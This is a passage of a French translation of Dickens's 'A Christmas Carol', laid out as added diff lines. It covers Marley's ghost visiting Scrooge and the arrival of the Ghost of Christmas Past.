+chez lui pour se coucher. Il habitait un appartement occupé
+autrefois par feu son associé. C'était une enfilade de chambres
+obscures qui faisaient partie d'un vieux bâtiment sombre, situé à
+l'extrémité d'une ruelle où il avait si peu de raison d'être,
+qu'on ne pouvait s'empêcher de croire qu'il était venu se blottir
+là, un jour que, dans sa jeunesse, il jouait à cache-cache avec
+d'autres maisons et ne s'était plus ensuite souvenu de son chemin.
+Il était alors assez vieux et assez triste, car personne n'y
+habitait, excepté Scrooge, tous les autres appartements étant
+loués pour servir de comptoirs ou de bureaux. La cour était si
+obscure, que Scrooge lui-même, quoiqu'il en connût parfaitement
+chaque pavé, fut obligé de tâtonner avec les mains. Le brouillard
+et les frimas enveloppaient tellement la vieille porte sombre de
+la maison, qu'il semblait que le génie de l'hiver se tînt assis
+sur le seuil, absorbé dans ses tristes méditations.
+
+Le fait est qu'il n'y avait absolument rien de particulier dans le
+marteau de la porte, sinon qu'il était trop gros: le fait est
+encore que Scrooge l'avait vu soir et matin, chaque jour, depuis
+qu'il demeurait en ce lieu; qu'en outre Scrooge possédait aussi
+peu de ce qu'on appelle imagination qu'aucun habitant de la Cité
+de Londres, y compris même, je crains d'être un peu téméraire, la
+corporation, les aldermen et les notables. Il faut bien aussi se
+mettre dans l'esprit que Scrooge n'avait pas pensé une seule fois
+à Marley, depuis qu'il avait, cette après-midi même, fait mention
+de la mort de son ancien associé, laquelle remontait à sept ans.
+Qu'on m'explique alors, si on le peut, comment il se fit que
+Scrooge, au moment où il mit la clef dans la serrure, vit dans le
+marteau, sans avoir prononcé de paroles magiques pour le
+transformer, non plus un marteau, mais la figure de Marley.
+
+Oui, vraiment, la figure de Marley! Ce n'était pas une ombre
+impénétrable comme les autres objets de la cour, elle paraissait
+au contraire entourée d'une lueur sinistre, semblable à un homard
+avarié dans une cave obscure. Son expression n'avait rien qui
+rappelât la colère ou la férocité, mais elle regardait Scrooge
+comme Marley avait coutume de le faire, avec des lunettes de
+spectre relevées sur son front de revenant. La chevelure était
+curieusement soulevée comme par un souffle ou une vapeur chaude,
+et, quoique les yeux fussent tout grands ouverts, ils demeuraient
+parfaitement immobiles. Cette circonstance et sa couleur livide la
+rendaient horrible; mais l'horreur qu'éprouvait Scrooge à sa vue
+ne semblait pas du fait de la figure, elle venait plutôt de lui-
+même et ne tenait pas à l'expression de la physionomie du défunt.
+Lorsqu'il eut considéré fixement ce phénomène, il n'y trouva plus
+qu'un marteau.
+
+Dire qu'il ne tressaillit pas ou que son sang ne ressentit point
+une impression terrible à laquelle il avait été étranger depuis
+son enfance, serait un mensonge. Mais il mit la main sur la clef,
+qu'il avait lâchée d'abord, la tourna brusquement, entra et alluma
+sa chandelle.
+
+Il s'arrêta, un moment irrésolu, avant de fermer la porte, et
+commença par regarder avec précaution derrière elle, comme s'il se
+fût presque attendu à être épouvanté par la vue de la queue
+effilée de Marley s'avançant jusque dans le vestibule. Mais il n'y
+avait rien derrière la porte, excepté les écrous et les vis qui y
+fixaient le marteau; ce que voyant, il dit: «Bah! bah!» en la
+poussant avec violence.
+
+Le bruit résonna dans toute la maison comme un tonnerre. Chaque
+chambre au-dessus et chaque futaille au-dessous, dans la cave du
+marchand de vin, semblait rendre un son particulier pour faire sa
+partie dans ce concert d'échos. Scrooge n'était pas homme à se
+laisser effrayer par des échos. Il ferma solidement la porte,
+traversa le vestibule et monta l'escalier, prenant le temps
+d'ajuster sa chandelle chemin faisant.
+
+Vous parlez des bons vieux escaliers d'autrefois par où l'on
+aurait fait monter facilement un carrosse à six chevaux ou le
+cortège d'un petit acte du parlement; mais moi, je vous dis que
+celui de Scrooge était bien autre chose; vous auriez pu y faire
+monter un corbillard, en le prenant dans sa plus grande largeur,
+la barre d'appui contre le mur, et la portière du côte de la
+rampe, et c'eût été chose facile: il y avait bien assez de place
+pour cela et plus encore qu'il n'en fallait. Voilà peut-être
+pourquoi Scrooge crut voir marcher devant lui, dans l'obscurité,
+un convoi funèbre. Une demi-douzaine des becs de gaz de la rue
+auraient eu peine à éclairer suffisamment le vestibule; vous
+pouvez donc supposer qu'il y faisait joliment sombre avec la
+chandelle de Scrooge.
+
+Il montait toujours, ne s'en souciant pas plus que de rien du
+tout. L'obscurité ne coûte pas cher, c'est pour cela que Scrooge
+ne la détestait pas. Mais avant de fermer sa lourde porte, il
+parcourut les pièces de son appartement pour voir si tout était en
+ordre. C'était peut-être un souvenir inquiet de la mystérieuse
+figure qui lui trottait dans la tête.
+
+Le salon, la chambre à coucher, la chambre de débarras, tout se
+trouvait en ordre. Personne sous la table, personne sous le sofa;
+un petit feu dans la grille; la cuiller et la tasse prêtes; et sur
+le feu la petite casserole d'eau de gruau (car Scrooge avait un
+rhume de cerveau). Personne sous son lit, personne dans le
+cabinet, personne dans sa robe de chambre suspendue contre la
+muraille dans une attitude suspecte. La chambre de débarras comme
+d'habitude: un vieux garde-feu, de vieilles savates, deux paniers
+à poisson, un lavabo sur trois pieds et un fourgon.
+
+Parfaitement rassuré, Scrooge tira sa porte et s'enferma à double
+tour, ce qui n'était point son habitude. Ainsi garanti de toute
+surprise, il ôta sa cravate, mit sa robe de chambre, ses
+pantoufles et son bonnet de nuit, et s'assit devant le feu pour
+prendre son gruau.
+
+C'était, en vérité, un très petit feu, si peu que rien pour une
+nuit si froide. Il fut obligé de s'asseoir tout près et de le
+couver en quelque sorte, avant de pouvoir extraire la moindre
+sensation de chaleur d'un feu si mesquin qu'il aurait tenu dans la
+main. Le foyer ancien avait été construit, il y a longtemps, par
+quelque marchand hollandais, et garni tout autour de plaques
+flamandes sur lesquelles on avait représenté des scènes de
+l'Écriture. Il y avait des Caïn et des Abel, des filles de
+Pharaon, des reines de Saba, des messagers angéliques descendant
+au travers des airs sur des nuages semblables à des lits de plume,
+des Abraham, des Balthazar, des apôtres s'embarquant dans des
+bateaux en forme de saucière, des centaines de figures capables de
+distraire sa pensée; et cependant, ce visage de Marley, mort
+depuis sept ans, venait, comme la baguette de l'ancien prophète,
+absorber tout le reste. Si chacune de ces plaques vernies eût
+commencé par être un cadre vide avec le pouvoir de représenter sur
+sa surface unie quelques formes composées des fragments épars des
+pensées de Scrooge, chaque carreau aurait offert une copie de la
+tête du vieux Marley.
+
+«Sottise!», dit Scrooge; et il se mit à marcher dans la chambre de
+long en large.
+
+Après plusieurs tours, il se rassit. Comme il se renversait la
+tête dans son fauteuil, son regard s'arrêta par hasard sur une
+sonnette hors de service suspendue dans la chambre et qui, pour
+quelque dessein depuis longtemps oublié, communiquait avec une
+pièce située au dernier étage de la maison. Ce fut avec une
+extrême surprise, avec une terreur étrange, inexplicable, qu'au
+moment où il la regardait, il vit cette sonnette commencer à se
+mettre en mouvement. Elle s'agita d'abord si doucement, qu'à peine
+rendit-elle un son; mais bientôt elle sonna à double carillon, et
+toutes les autres sonnettes de la maison se mirent de la partie.
+
+Cela ne dura peut-être qu'une demi-minute ou une minute au plus,
+mais cette minute pour Scrooge fut aussi longue qu'une heure. Les
+sonnettes s'arrêtèrent comme elles avaient commencé, toutes en
+même temps. Leur bruit fut remplacé par un choc de ferrailles
+venant de profondeurs souterraines, comme si quelqu'un traînait
+une lourde chaîne sur les tonneaux dans la cave du marchand de
+vin. Scrooge se souvint alors d'avoir ouï dire que, dans les
+maisons hantées par les revenants, ils traînaient toujours des
+chaînes après eux.
+
+La porte de la cave s'ouvrit avec un horrible fracas, et alors il
+entendit le bruit devenir beaucoup plus fort au rez-de-chaussée,
+puis monter l'escalier, et enfin s'avancer directement vers sa
+porte.
+
+«Sottise encore que tout cela! dit Scrooge; je ne veux pas y
+croire.»
+
+Il changea cependant de couleur, lorsque, sans le moindre temps
+d'arrêt, le spectre traversa la porte massive et, pénétrant dans
+la chambre, passa devant ses yeux. Au moment où il entrait, la
+flamme mourante se releva comme pour crier: «Je le reconnais!
+c'est le spectre de Marley!», puis elle retomba.
+
+Le même visage, absolument le même: Marley avec sa queue effilée,
+son gilet ordinaire, ses pantalons collants et ses bottes dont les
+glands de soie se balançaient en mesure avec sa queue, les pans de
+son habit et son toupet. La chaîne qu'il traînait était passée
+autour de sa ceinture; elle était longue, tournait autour de lui
+comme une queue, et était faite (car Scrooge la considéra de près)
+de coffres-forts, de clefs, de cadenas, de grands-livres, de
+paperasses et de bourses pesantes en acier. Son corps était
+transparent, si bien que Scrooge, en l'observant et regardant à
+travers son gilet, pouvait voir les deux boutons cousus par
+derrière à la taille de son habit.
+
+Scrooge avait souvent entendu dire que Marley n'avait pas
+d'entrailles, mais il ne l'avait jamais cru jusqu'alors.
+
+Non, et même il ne le croyait pas encore. Quoique son regard pût
+traverser le fantôme d'outre en outre, quoiqu'il le vît là debout
+devant lui, quoiqu'il sentît l'influence glaciale de ses yeux
+glacés par la mort, quoiqu'il remarquât jusqu'au tissu du foulard
+plié qui lui couvrait la tête, en passant sous son menton, et
+auquel il n'avait point pris garde auparavant, il refusait encore
+de croire et luttait contre le témoignage de ses sens.
+
+«Que veut dire ceci? demanda Scrooge caustique et froid comme
+toujours. Que désirez-vous de moi?
+
+-- Beaucoup de choses!»
+
+C'est la voix de Marley, plus de doute à cet égard.
+
+«Qui êtes-vous?
+
+-- Demandez-moi qui j'étais.
+
+-- Qui étiez-vous alors? dit Scrooge, élevant la voix. Vous êtes
+bien puriste... pour une ombre.
+
+-- De mon vivant j'étais votre associé, Jacob Marley.
+
+-- Pouvez-vous... pouvez-vous vous asseoir? demanda Scrooge en le
+regardant d'un air de doute.
+
+-- Je le puis.
+
+-- Alors faites-le.»
+
+Scrooge fit cette question parce qu'il ne savait pas si un spectre
+aussi transparent pouvait se trouver dans la condition voulue pour
+prendre un siège, et il sentait que, si par hasard la chose était
+impossible, il le réduirait à la nécessité d'une explication
+embarrassante. Mais le fantôme s'assit vis-à-vis de lui, de
+l'autre côté de la cheminée, comme s'il ne faisait que cela toute
+la journée.
+
+«Vous ne croyez pas en moi? observa le spectre.
+
+-- Non, dit Scrooge.
+
+-- Quelle preuve de ma réalité voudriez-vous avoir, outre le
+témoignage de vos sens?
+
+-- Je ne sais trop, répondit Scrooge.
+
+-- Pourquoi doutez-vous de vos sens?
+
+-- Parce que, répondit Scrooge, la moindre chose suffit pour les
+affecter. Il suffit d'un léger dérangement dans l'estomac pour les
+rendre trompeurs; et vous pourriez bien n'être au bout du compte
+qu'une tranche de boeuf mal digérée, une demi-cuillerée de
+moutarde, un morceau de fromage, un fragment de pomme de terre mal
+cuite. Qui que vous soyez, pour un mort vous sentez plus la bierre
+que la bière.»
+
+Scrooge n'était pas trop dans l'habitude de faire des calembours,
+et il se sentait alors réellement, au fond du coeur, fort peu
+disposé à faire le plaisant. La vérité est qu'il essayait ce
+badinage comme un moyen de faire diversion à ses pensées et de
+surmonter son effroi, car la voix du spectre le faisait frissonner
+jusque dans la moelle des os.
+
+Demeurer assis, même pour un moment, ses regards arrêtés sur ces
+yeux fixes, vitreux, c'était là, Scrooge le sentait bien, une
+épreuve diabolique. Il y avait aussi quelque chose de vraiment
+terrible dans cette atmosphère infernale dont le spectre était
+environné. Scrooge ne pouvait la sentir lui-même, mais elle
+n'était pas moins réelle; car, quoique le spectre restât assis,
+parfaitement immobile, ses cheveux, les basques de son habit, les
+glands de ses bottes étaient encore agités comme par la vapeur
+chaude qui s'exhale d'un four.
+
+«Voyez-vous ce cure-dent? dit Scrooge, retournant vivement à la
+charge, pour donner le change à sa frayeur, et désirant, ne fût-ce
+que pour une seconde, détourner de lui le regard du spectre, froid
+comme un marbre.
+
+-- Oui, répondit le fantôme.
+
+-- Mais vous ne le regardez seulement pas, dit Scrooge.
+
+-- Cela ne m'empêche pas de le voir, dit le spectre.
+
+-- Eh bien! reprit Scrooge, je n'ai qu'à l'avaler, et le reste de
+mes jours je serai persécuté par une légion de lutins, tous de ma
+propre création. Sottise, je vous dis... sottise!»
+
+À ce mot le spectre poussa un cri effrayant et secoua sa chaîne
+avec un bruit si lugubre et si épouvantable, que Scrooge se
+cramponna à sa chaise pour s'empêcher de tomber en défaillance.
+Mais combien redoubla son horreur lorsque le fantôme, ôtant le
+bandage qui entourait sa tête, comme s'il était trop chaud pour le
+garder dans l'intérieur de l'appartement, sa mâchoire inférieure
+retomba sur sa poitrine.
+
+Scrooge tomba à genoux et se cacha le visage dans ses mains.
+
+«Miséricorde! s'écria-t-il. Épouvantable apparition!... pourquoi
+venez-vous me tourmenter?
+
+-- Âme mondaine et terrestre! répliqua le spectre; croyez-vous en
+moi ou n'y croyez-vous pas?
+
+-- J'y crois, dit Scrooge; il le faut bien. Mais pourquoi les
+esprits se promènent-ils sur terre, et pourquoi viennent-ils me
+trouver?
+
+-- C'est une obligation de chaque homme, répondit le spectre, que
+son âme renfermée au dedans de lui se mêle à ses semblables et
+voyage de tous côtés; si elle ne le fait pendant la vie, elle est
+condamnée à le faire après la mort. Elle est obligée d'errer par
+le monde... (oh! malheureux que je suis!)... et doit être témoin
+inutile de choses dont il ne lui est plus possible de prendre sa
+part, quand elle aurait pu en jouir avec les autres sur la terre
+pour les faire servir à son bonheur!»
+
+Le spectre poussa encore un cri, secoua sa chaîne et tordit ses
+mains fantastiques.
+
+«Vous êtes enchaîné? demanda Scrooge tremblant; dites-moi
+pourquoi.
+
+-- Je porte la chaîne que j'ai forgée pendant ma vie, répondit le
+fantôme. C'est moi qui l'ai faite anneau par anneau, mètre par
+mètre; c'est moi qui l'ai suspendue autour de mon corps, librement
+et de ma propre volonté, comme je la porterai toujours de mon
+plein gré. Est-ce que le modèle vous en paraît étrange?»
+
+Scrooge tremblait de plus en plus.
+
+«Ou bien voudriez-vous savoir, poursuivit le spectre, le poids et
+la longueur du câble énorme que vous traînez vous-même? Il était
+exactement aussi long et aussi pesant que cette chaîne que vous
+voyez, il y a aujourd'hui sept veilles de Noël. Vous y avez
+travaillé depuis. C'est une bonne chaîne à présent!»
+
+Scrooge regarda autour de lui sur le plancher, s'attendant à se
+trouver lui-même entouré de quelque cinquante ou soixante brasses
+de câbles de fer; mais il ne vit rien.
+
+«Jacob, dit-il d'un ton suppliant, mon vieux Jacob Marley, parlez-
+moi encore. Adressez-moi quelques paroles de consolation, Jacob.
+
+-- Je n'ai pas de consolation à donner, reprit le spectre. Les
+consolations viennent d'ailleurs, Ebenezer Scrooge; elles sont
+apportées par d'autres ministres à d'autres espèces d'hommes que
+vous. Je ne puis non plus vous dire tout ce que je voudrais. Je
+n'ai plus que très peu de temps à ma disposition. Je ne puis me
+reposer, je ne puis m'arrêter, je ne puis séjourner nulle part.
+Mon esprit ne s'écarta jamais guère au-delà de notre comptoir;
+vous savez, pendant ma vie, mon esprit ne dépassa jamais les
+étroites limites de notre bureau de change; et voilà pourquoi,
+maintenant, il me reste à faire tant de pénibles voyages.»
+
+C'était chez Scrooge une habitude de fourrer les mains dans les
+goussets de son pantalon toutes les fois qu'il devenait pensif.
+Réfléchissant à ce qu'avait dit le fantôme, il prit la même
+attitude, mais sans lever les yeux et toujours agenouillé.
+
+«Il faut donc que vous soyez bien en retard, Jacob, observa
+Scrooge en véritable homme d'affaires, quoique avec humilité et
+déférence.
+
+-- En retard! répéta le spectre.
+
+-- Mort depuis sept ans, rumina Scrooge, et en route tout ce
+temps-là.
+
+-- Tout ce temps-là, dit le spectre... ni trêve ni repos,
+l'incessante torture du remords.
+
+-- Vous voyagez vite? demanda Scrooge.
+
+-- Sur les ailes du vent, répliqua le fantôme.
+
+-- Vous devez avoir vu bien du pays en sept ans», reprit Scrooge.
+
+Le spectre, entendant ces paroles, poussa un troisième cri, et
+produisit avec sa chaîne un cliquetis si horrible dans le morne
+silence de la nuit, que le guet aurait eu toutes les raisons du
+monde de le traduire en justice pour cause de tapage nocturne.
+
+«Oh! captif, enchaîné, chargé de fers! s'écria-t-il, pour avoir
+oublié que chaque homme doit s'associer, pour sa part, au grand
+travail de l'humanité, prescrit par l'Être suprême, et en
+perpétuer le progrès, car cette terre doit passer dans l'éternité
+avant que le bien dont elle est susceptible soit entièrement
+développé: pour avoir oublié que l'immensité de nos regrets ne
+pourra pas compenser les occasions manquées dans notre vie! et
+cependant c'est ce que j'ai fait: oh! oui, malheureusement, c'est
+ce que j'ai fait!
+
+-- Cependant vous fûtes toujours un homme exact, habile en
+affaires, Jacob, balbutia Scrooge qui commençait en ce moment à
+faire un retour sur lui-même.
+
+-- Les affaires! s'écria le fantôme en se tordant de nouveau les
+mains. C'est l'humanité qui était mon affaire; c'est le bien
+général qui était mon affaire; c'est la charité, la miséricorde,
+la tolérance et la bienveillance; c'est tout cela qui était mon
+affaire. Les opérations de mon commerce n'étaient qu'une goutte
+d'eau dans le vaste océan de mes affaires.»
+
+Il releva sa chaîne de toute la longueur de son bras, comme pour
+montrer la cause de tous ses stériles regrets, et la rejeta
+lourdement à terre.
+
+«C'est à cette époque de l'année expirante, dit le spectre, que je
+souffre le plus. Pourquoi ai-je alors traversé la foule de mes
+semblables toujours les yeux baissés vers les choses de la terre,
+sans les lever jamais vers cette étoile bénie qui conduisit les
+mages à une pauvre demeure? N'y avait-il donc pas de pauvres
+demeures aussi vers lesquelles sa lumière aurait pu me conduire?»
+
+Scrooge était très effrayé d'entendre le spectre continuer sur ce
+ton, et il commençait à trembler de tous ses membres.
+
+«Écoutez-moi, s'écria le fantôme. Mon temps est bientôt passé.
+
+-- J'écoute, dit Scrooge; mais épargnez-moi, ne faites pas trop de
+rhétorique, Jacob, je vous en prie.
+
+-- Comment se fait-il que je paraisse devant vous sous une forme
+que vous puissiez voir, je ne saurais le dire. Je me suis assis
+mainte et mainte fois à vos côtés en restant invisible.»
+
+Ce n'était pas une idée agréable. Scrooge fut saisi de frissons et
+essuya la sueur qui découlait de son front.
+
+«Et ce n'est pas mon moindre supplice, continua le spectre... Je
+suis ici ce soir pour vous avertir qu'il vous reste encore une
+chance et un espoir d'échapper à ma destinée, une chance et un
+espoir que vous tiendrez de moi, Ebenezer.
+
+-- Vous fûtes toujours pour moi un bon ami, dit Scrooge. Merci.
+
+-- Vous allez être hanté par trois esprits», ajouta le spectre.
+
+La figure de Scrooge devint en un moment aussi pâle que celle du
+fantôme lui-même.
+
+«Est-ce là cette chance et cet espoir dont vous me parliez, Jacob?
+demanda-t-il d'une voix défaillante.
+
+-- Oui.
+
+-- Je... je... crois que j'aimerais mieux qu'il n'en fût rien, dit
+Scrooge.
+
+-- Sans leurs visites, reprit le spectre, vous ne pouvez espérer
+d'éviter mon sort. Attendez-vous à recevoir le premier demain
+quand l'horloge sonnera une heure.
+
+-- Ne pourrais-je pas les prendre tous à la fois pour en finir,
+Jacob? insinua Scrooge.
+
+-- Attendez le second à la même heure la nuit d'après, et le
+troisième la nuit suivante, quand le dernier coup de minuit aura
+cessé de vibrer. Ne comptez pas me revoir, mais, dans votre propre
+intérêt, ayez soin de vous rappeler ce qui vient de se passer
+entre nous.»
+
+Après avoir ainsi parlé, le spectre prit sa mentonnière sur la
+table et l'attacha autour de sa tête comme auparavant. Scrooge le
+comprit au bruit sec que firent ses dents lorsque les deux
+mâchoires furent réunies l'une à l'autre par le bandage. Alors il
+se hasarda à lever les yeux et aperçut son visiteur surnaturel
+debout devant lui, portant sa chaîne roulée autour de son bras.
+
+L'apparition s'éloigna en marchant à reculons; à chaque pas
+qu'elle faisait, la fenêtre se soulevait un peu, de sorte que,
+quand le spectre l'eût atteinte, elle était toute grande ouverte.
+Il fit signe à Scrooge d'approcher; celui-ci obéit. Lorsqu'ils
+furent à deux pas l'un de l'autre, l'ombre de Marley leva la main
+et l'avertit de ne pas approcher davantage. Scrooge s'arrêta, non
+pas tant par obéissance que par surprise et par crainte; car, au
+moment où le fantôme leva la main, il entendit des bruits confus
+dans l'air, des sons incohérents de lamentation et de désespoir,
+des plaintes d'une inexprimable tristesse, des voix de regrets et
+de remords. Le spectre, ayant un moment prêté l'oreille, se
+joignit à ce choeur lugubre, et s'évanouit au sein de la nuit pâle
+et sombre.
+
+Scrooge suivit l'ombre jusqu'à la fenêtre, et, dans sa curiosité
+haletante, il regarda par la croisée.
+
+L'air était rempli de fantômes errant çà et là, comme des âmes en
+peine, exhalant, à mesure qu'ils passaient, de profonds
+gémissements. Chacun d'eux traînait une chaîne comme le spectre de
+Marley; quelques-uns, en petit nombre (c'étaient peut-être des
+cabinets de ministres complices d'une même politique), étaient
+enchaînés ensemble; aucun n'était libre. Plusieurs avaient été,
+pendant leur vie, personnellement connus de Scrooge. Il avait été
+intimement lié avec un vieux fantôme en gilet blanc, à la cheville
+duquel était attaché un monstrueux anneau de fer et qui se
+lamentait piteusement de ne pouvoir assister une malheureuse femme
+avec son enfant qu'il voyait au-dessous de lui sur le seuil d'une
+porte. Le supplice de tous ces spectres consistait évidemment en
+ce qu'ils s'efforçaient, mais trop tard, d'intervenir dans les
+affaires humaines, pour y faire quelque bien; ils en avaient pour
+jamais perdu le pouvoir.
+
+Ces créatures fantastiques se fondirent-elles dans le brouillard
+ou le brouillard vint-il les envelopper dans son ombre, Scrooge
+n'en put rien savoir, mais et les ombres et leurs voix
+s'éteignirent ensemble, et la nuit redevint ce qu'elle avait été
+lorsqu'il était rentré chez lui.
+
+Il ferma la fenêtre: il examina soigneusement la porte par
+laquelle était entré le fantôme. Elle était fermée à double tour,
+comme il l'avait fermée de ses propres mains; les verrous
+n'étaient point dérangés. Il essaya de dire: «Sottise!», mais il
+s'arrêta à la première syllabe. Se sentant un grand besoin de
+repos, soit par suite de l'émotion qu'il avait éprouvée, des
+fatigues de la journée, de cet aperçu du monde invisible, ou de la
+triste conversation du spectre, soit à cause de l'heure avancée,
+il alla droit à son lit, sans même se déshabiller, et s'endormit
+aussitôt.
+
+
+
+Deuxième couplet
+
+Le premier des trois esprits
+
+Quand Scrooge s'éveilla, il faisait si noir, que, regardant de son
+lit, il pouvait à peine distinguer la fenêtre transparente des
+murs opaques de sa chambre. Il s'efforçait de percer l'obscurité
+avec ses yeux de furet, lorsque l'horloge d'une église voisine
+sonna les quatre quarts. Scrooge écouta pour savoir l'heure.
+
+À son grand étonnement, la lourde cloche alla de six à sept, puis
+de sept à huit, et ainsi régulièrement jusqu'à douze; alors elle
+s'arrêta. Minuit! Il était deux heures passées quand il s'était
+couché. L'horloge allait donc mal? Un glaçon devait s'être
+introduit dans les rouages. Minuit!
+
+Scrooge toucha le ressort de sa montre à répétition, pour corriger
+l'erreur de cette horloge qui allait tout de travers. Le petit
+pouls rapide de la montre battit douze fois et s'arrêta.
+
+«Comment! il n'est pas possible, dit Scrooge, que j'aie dormi tout
+un jour et une partie d'une seconde nuit. Il n'est pas possible
+qu'il soit arrivé quelque chose au soleil et qu'il soit minuit à
+midi!»
+
+Cette idée étant de nature à l'inquiéter, il sauta à bas de son
+lit et marcha à tâtons vers la fenêtre. Il fut obligé d'essuyer
+les vitres gelées avec la manche de sa robe de chambre avant de
+pouvoir bien voir, et encore il ne put pas voir grand'chose. Tout
+ce qu'il put distinguer, c'est que le brouillard était toujours
+très épais, qu'il faisait extrêmement froid, qu'on n'entendait pas
+dehors les gens aller et venir et faire grand bruit, comme cela
+aurait indubitablement eu lieu si le jour avait chassé la nuit et
+prit possession du monde. Ce lui fut un grand soulagement; car,
+sans cela que seraient devenues ses lettres de change: «à trois
+jours de vue, payez à M. Ebenezer Scrooge ou à son ordre», et
+ainsi de suite? de pures hypothèques sur les brouillards de
+l'Hudson.
+
+Scrooge reprit le chemin de son lit et se mit à penser, à
+repenser, à penser encore à tout cela, toujours et toujours et
+toujours, sans rien y comprendre. Plus il pensait, plus il était
+embarrassé; et plus il s'efforçait de ne pas penser, plus il
+pensait. Le spectre de Marley le troublait excessivement. Chaque
+fois qu'après un mûr examen il décidait, au-dedans de lui-même,
+que tout cela était un songe, son esprit, comme un ressort qui
+cesse d'être comprimé, retournait en hâte à sa première position
+et lui présentait le même problème à résoudre: «était-ce ou
+n'était-ce pas un songe?»
+
+Scrooge demeura dans cet état jusqu'à ce que le carillon eût sonné
+trois quarts d'heure de plus; alors il se souvint tout à coup que
+le spectre l'avait prévenu d'une visite quand le timbre sonnerait
+une heure. Il résolut de se tenir éveillé jusqu'à ce que l'heure
+fût passée, et considérant qu'il ne lui était pas plus possible de
+s'endormir que d'avaler la lune, c'était peut-être la résolution
+la plus sage qui fût en son pouvoir.
+
+Ce quart d'heure lui parut si long, qu'il crut plus d'une fois
+s'être assoupi sans s'en apercevoir, et n'avoir pas entendu sonner
+l'heure. L'horloge à la fin frappa son oreille attentive.
+
+«Ding, dong!
+
+-- Un quart, dit Scrooge comptant.
+
+-- Ding, dong!
+
+-- La demie! dit Scrooge.
+
+-- Ding, dong!
+
+-- Les trois quarts, dit Scrooge.
+
+-- Ding, dong!
+
+-- L'heure, l'heure! s'écria Scrooge triomphant, et rien autre!»
+
+Il parlait avant que le timbre de l'horloge eût retenti; mais au
+moment où celui-ci eût fait entendre un coup profond, lugubre,
+sourd, mélancolique, une vive lueur brilla aussitôt dans la
+chambre et les rideaux de son lit furent tirés.
+
+Les rideaux de son lit furent tirés, vous dis-je, de côté, par une
+main invisible; non pas les rideaux qui tombaient à ses pieds ou
+derrière sa tête, mais ceux vers lesquels son visage était tourné.
+Les rideaux de son lit furent tirés, et Scrooge, se dressant dans
+l'attitude d'une personne à demi couchée, se trouva face à face
+avec le visiteur surnaturel qui les tirait, aussi près de lui que
+je le suis maintenant de vous, et notez que je me tiens debout, en
+esprit, à votre coude.
+
+C'était une étrange figure... celle d'un enfant; et, néanmoins,
+pas aussi semblable à un enfant qu'à un vieillard vu au travers de
+quelque milieu surnaturel, qui lui donnait l'air de s'être éloigné
+à distance et d'avoir diminué jusqu'aux proportions d'un enfant.
+Ses cheveux, qui flottaient autour de son cou et tombaient sur son
+dos, étaient blancs comme si c'eût été l'effet de l'âge; et,
+cependant son visage n'avait pas une ride, sa peau brillait de
+l'incarnat le plus délicat. Les bras étaient très longs et
+musculeux; les mains de même, comme s'il eût possédé une force peu
+commune. Ses jambes et ses pieds, très délicatement formés,
+étaient nus, comme les membres supérieurs. Il portait une tunique
+du blanc le plus pur, et autour de sa taille était serrée une
+ceinture lumineuse, qui brillait d'un vif éclat. Il tenait à la
+main une branche verte de houx fraîchement coupée; et, par un
+singulier contraste avec cet emblème de l'hiver, il avait ses
+vêtements garnis des fleurs de l'été. Mais la chose la plus
+étrange qui fût en lui, c'est que du sommet de sa tête jaillissait
+un brillant jet de lumière, à l'aide duquel toutes ces choses
+étaient visibles, et d'où venait, sans doute, que dans ses moments
+de tristesse, il se servait en guise de chapeau d'un grand
+éteignoir, qu'il tenait présentement sous son bras.
+
+Ce n'était point là cependant, en regardant de plus près, son
+attribut le plus étrange aux yeux de Scrooge. Car, comme sa
+ceinture brillait et reluisait tantôt sur un point, tantôt sur un
+autre, ce qui était clair un moment devenait obscur l'instant
+d'après; l'ensemble de sa personne subissait aussi ces
+fluctuations et se montrait en conséquence sous des aspects
+divers. Tantôt c'était un être avec un seul bras, une seule jambe
+ou bien vingt jambes, tantôt deux jambes sans tête, tantôt une
+tête sans corps; les membres qui disparaissaient à la vue ne
+laissaient pas apercevoir un seul contour dans l'obscurité épaisse
+au milieu de laquelle ils s'évanouissaient. Puis, par un prodige
+singulier, il redevenait lui-même, aussi distinct et aussi visible
+que jamais.
+
+«Monsieur, demanda Scrooge, êtes-vous l'esprit dont la venue m'a
+été prédite?
+
+-- Je le suis.»
+
+La voix était douce et agréable, singulièrement basse, comme si,
+au lieu d'être si près de lui, il se fût trouvé dans
+l'éloignement.
+
+«Qui êtes-vous donc? demanda Scrooge.
+
+-- Je suis l'esprit de Noël passé.
+
+-- Passé depuis longtemps? demanda Scrooge, remarquant la stature
+du nain.
+
+-- Non, votre dernier Noël.»
+
+Peut-être Scrooge n'aurait pu dire pourquoi, si on le lui avait
+demandé, mais il éprouvait un désir tout particulier de voir
+l'esprit coiffé de son chapeau, et il le pria de se couvrir.
+
+«Eh quoi! s'écria le spectre, voudriez-vous sitôt éteindre avec
+des mains mondaines la lumière que je donne? N'est-ce pas assez
+que vous soyez un de ceux dont les passions égoïstes m'ont fait ce
+chapeau et me forcent à le porter à travers les siècles enfoncé
+sur mon front!»
+
+Scrooge nia respectueusement qu'il eût l'intention de l'offenser,
+et protesta qu'à aucune époque de sa vie il n'avait volontairement
+«coiffé» l'esprit. Puis il osa lui demander quelle besogne
+l'amenait.
+
+«Votre bonheur!» dit le fantôme.
+
+Scrooge se déclara fort reconnaissant, mais il ne put s'empêcher
+de penser qu'une nuit de repos non interrompu aurait contribué
+davantage à atteindre ce but. Il fallait que l'esprit l'eût
+entendu penser, car il dit immédiatement:
+
+«Votre conversion, alors... Prenez garde!»
+
+Tout en parlant, il étendit sa forte main, et le saisit doucement
+par le bras.
+
+«Levez-vous! et marchez avec moi!»
+
+C'eût été en vain que Scrooge aurait allégué que le temps et
+l'heure n'étaient pas propices pour une promenade à pied; que son
+lit était chaud et le thermomètre bien au-dessous de glace; qu'il
+était légèrement vêtu, n'ayant que ses pantoufles, sa robe de
+chambre et son bonnet de nuit; et qu'en même temps il avait à
+ménager son rhume. Pas moyen de résister à cette étreinte, quoique
+aussi douce que celle d'une main de femme. Il se leva; mais,
+s'apercevant que l'esprit se dirigeait vers la fenêtre, il saisit
+sa robe dans une attitude suppliante.
+
+«Je ne suis qu'un mortel, lui représenta Scrooge, et par
+conséquent je pourrais bien tomber.
+
+-- Permettez seulement que ma main vous touche là, dit l'esprit
+mettant sa main sur le coeur de Scrooge, et vous serez soutenu
+dans bien d'autres épreuves encore.»
+
+Comme il prononçait ces paroles, ils passèrent à travers la
+muraille et se trouvèrent sur une route en rase campagne, avec des
+champs de chaque côté. La ville avait entièrement disparu: on ne
+pouvait plus en voir de vestige. L'obscurité et le brouillard
+s'étaient évanouis en même temps, car c'était un jour d'hiver,
